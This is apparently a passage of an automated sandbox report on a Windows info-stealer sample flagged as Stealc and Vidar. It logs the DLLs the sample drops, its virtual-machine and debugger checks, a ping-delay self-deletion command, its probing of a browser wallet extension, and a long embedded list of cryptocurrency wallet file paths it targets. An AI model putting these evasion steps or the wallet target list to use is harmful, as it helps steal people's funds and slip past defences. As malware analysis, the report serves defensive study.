Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\qlI3ReINCV.exe

0_2_006A68F0

Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Uses ping.exe to sleep

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 2.2.2.2 -n 1 -w 3000
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 2.2.2.2 -n 1 -w 3000			Jump to behavior

Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Memory allocated: 11D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Memory allocated: 2DC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Memory allocated: 4DC0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe TID: 6860

Thread sleep time: -922337203685477s >= -30000s

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_00694C70 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,StrCmpCA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,CopyFileA,lstrcpy,CopyFileA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,DeleteFileA,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose,	0_2_00694C70
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_006924F7 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,	0_2_006924F7
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_0069CDD0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,CreateFileA,GetFileSizeEx,CloseHandle,CloseHandle,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,lstrcpy,lstrcpy,DeleteFileA,FindNextFileA,FindClose,	0_2_0069CDD0
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_006816A0 lstrcpy,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,GetFileAttributesA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,CopyFileA,lstrcpy,lstrcpy,DeleteFileA,FindNextFileA,FindClose,	0_2_006816A0
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_0069E3F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,lstrcpy,lstrcpy,DeleteFileA,FindNextFileA,FindClose,	0_2_0069E3F0
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_006913B7 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose,	0_2_006913B7
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_0068DB80 lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,CopyFileA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,DeleteFileA,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,StrCmpCA,lstrcpy,StrCmpCA,lstrcpy,CopyFileA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,DeleteFileA,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose,	0_2_0068DB80
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_006924F9 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,	0_2_006924F9
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_00694C89 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,	0_2_00694C89
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_006816B9 lstrcpy,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,	0_2_006816B9
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_0069D720 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcpy,lstrcpy,FindNextFileA,FindClose,	0_2_0069D720
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_0069DF20 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,lstrcpy,	0_2_0069DF20
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_006913B9 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose,	0_2_006913B9

Source: C:\Users\user\Desktop\qlI3ReINCV.exe

Code function: 0_2_006A1DC0 EntryPoint,GetSystemInfo,GetUserDefaultLangID,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,OpenEventA,CreateEventA,

0_2_006A1DC0

Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: qlI3ReINCV.exe, 00000000.00000002.1968390990.000000000124E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwared3
Source: qlI3ReINCV.exe, 00000000.00000002.1968390990.000000000124E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: qlI3ReINCV.exe, 00000000.00000002.1968390990.00000000012AC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: qlI3ReINCV.exe, 00000000.00000002.1968390990.00000000012AC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW*
Source: qlI3ReINCV.exe, 00000000.00000002.1968390990.000000000127E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: qlI3ReINCV.exe, 00000000.00000002.1985801776.0000000021907000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: -b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Users\user\Desktop\qlI3ReINCV.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\qlI3ReINCV.exe

Code function: 0_2_006A7DAA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_006A7DAA

Source: C:\Users\user\Desktop\qlI3ReINCV.exe

Code function: 0_2_00684A60 VirtualProtect 00000000,00000004,00000100,?

0_2_00684A60

Source: C:\Users\user\Desktop\qlI3ReINCV.exe

0_2_006A68F0

Source: C:\Users\user\Desktop\qlI3ReINCV.exe

Code function: 0_2_006A65A0 mov eax, dword ptr fs:[00000030h]

0_2_006A65A0

Source: C:\Users\user\Desktop\qlI3ReINCV.exe

Code function: 0_2_006A2C10 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_006A2C10

Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_006A7DAA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_006A7DAA
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_006A9989 SetUnhandledExceptionFilter,	0_2_006A9989
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_006A77C8 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_006A77C8
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C48B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6C48B66C
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C48B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C48B1F7
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C63AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C63AC62

Source: C:\Users\user\Desktop\qlI3ReINCV.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: qlI3ReINCV.exe PID: 7400, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_006A48B0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,OpenProcess,TerminateProcess,CloseHandle,Process32Next,CloseHandle,		0_2_006A48B0
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_006A4820 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,Process32Next,CloseHandle,		0_2_006A4820

Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe "C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C ping 2.2.2.2 -n 1 -w 3000 > Nul & Del C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 2.2.2.2 -n 1 -w 3000	Jump to behavior

Source: C:\Users\user\Desktop\qlI3ReINCV.exe

Code function: 0_2_6C48B341 cpuid

0_2_6C48B341

Source: C:\Users\user\Desktop\qlI3ReINCV.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_006A2F30

Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Queries volume information: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\qlI3ReINCV.exe

Code function: 0_2_006A4040 lstrcpy,lstrcpy,GetSystemTime,

0_2_006A4040

Source: C:\Users\user\Desktop\qlI3ReINCV.exe

Code function: 0_2_006A2C10 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_006A2C10

Source: C:\Users\user\Desktop\qlI3ReINCV.exe

Code function: 0_2_006A2DE0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

0_2_006A2DE0

Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: qlI3ReINCV.exe, type: SAMPLE
Source: Yara match	File source: 0.2.qlI3ReINCV.exe.680000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.qlI3ReINCV.exe.680000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1730010347.00000000006AB000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1968390990.000000000124E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: qlI3ReINCV.exe PID: 7400, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: qlI3ReINCV.exe PID: 7400, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: qlI3ReINCV.exe, 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: n\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: qlI3ReINCV.exe, 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: n\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
